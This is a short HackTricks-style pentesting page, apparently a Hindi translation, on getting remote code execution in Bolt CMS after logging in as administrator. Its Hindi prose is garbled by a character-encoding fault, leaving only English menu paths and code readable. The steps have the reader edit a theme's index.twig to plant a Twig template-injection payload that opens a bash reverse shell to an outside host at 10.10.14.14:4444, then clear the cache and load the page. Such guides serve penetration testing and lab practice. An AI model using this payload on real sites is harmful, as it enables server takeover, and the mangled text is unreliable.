Bolt CMS

Support HackTricks

RCE

рд╡реНрдпрд╡рд╕реНрдерд╛рдкрдХ рдХреЗ рд░реВрдк рдореЗрдВ рд▓реЙрдЧрд┐рди рдХрд░рдиреЗ рдХреЗ рдмрд╛рдж (рд▓реЙрдЧрд┐рди рдкреНрд░реЙрдореНрдкреНрдЯ рддрдХ рдкрд╣реБрдБрдЪрдиреЗ рдХреЗ рд▓рд┐рдП /bot рдкрд░ рдЬрд╛рдПрдБ), рдЖрдк Bolt CMS рдореЗрдВ RCE рдкреНрд░рд╛рдкреНрдд рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ:

  • Configuration -> View Configuration -> Main Configuration рдЪреБрдиреЗрдВ рдпрд╛ URL рдкрде /bolt/file-edit/config?file=/bolt/config.yaml рдкрд░ рдЬрд╛рдПрдБ

  • рдереАрдо рдХрд╛ рдорд╛рди рдЬрд╛рдВрдЪреЗрдВ

  • File management -> View & edit templates рдЪреБрдиреЗрдВ

  • рдкрд┐рдЫрд▓реЗ рдЪрд░рдг рдореЗрдВ рдкрд╛рдП рдЧрдП рдереАрдо рдмреЗрд╕ (рдЗрд╕ рдорд╛рдорд▓реЗ рдореЗрдВ base-2021) рдХрд╛ рдЪрдпрди рдХрд░реЗрдВ рдФрд░ index.twig рдЪреБрдиреЗрдВ

  • рдореЗрд░реЗ рдорд╛рдорд▓реЗ рдореЗрдВ рдпрд╣ URL рдкрде /bolt/file-edit/themes?file=/base-2021/index.twig рдореЗрдВ рд╣реИ

  • рдЗрд╕ рдлрд╝рд╛рдЗрд▓ рдореЗрдВ template injection (Twig) рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдЕрдкрдирд╛ рдкреЗрд▓реЛрдб рд╕реЗрдЯ рдХрд░реЗрдВ, рдЬреИрд╕реЗ: {{['bash -c "bash -i >& /dev/tcp/10.10.14.14/4444 0>&1"']|filter('system')}}

  • рдФрд░ рдкрд░рд┐рд╡рд░реНрддрди рд╕рд╣реЗрдЬреЗрдВ

  • Maintenance -> Clear the cache рдореЗрдВ рдХреИрд╢ рд╕рд╛рдлрд╝ рдХрд░реЗрдВ

  • рдлрд┐рд░ рд╕реЗ рдПрдХ рд╕рд╛рдорд╛рдиреНрдп рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХреЗ рд░реВрдк рдореЗрдВ рдкреГрд╖реНрда рдкрд░ рдкрд╣реБрдБрдЪреЗрдВ, рдФрд░ рдкреЗрд▓реЛрдб рдирд┐рд╖реНрдкрд╛рджрд┐рдд рд╣реЛрдирд╛ рдЪрд╛рд╣рд┐рдП

Support HackTricks

Last updated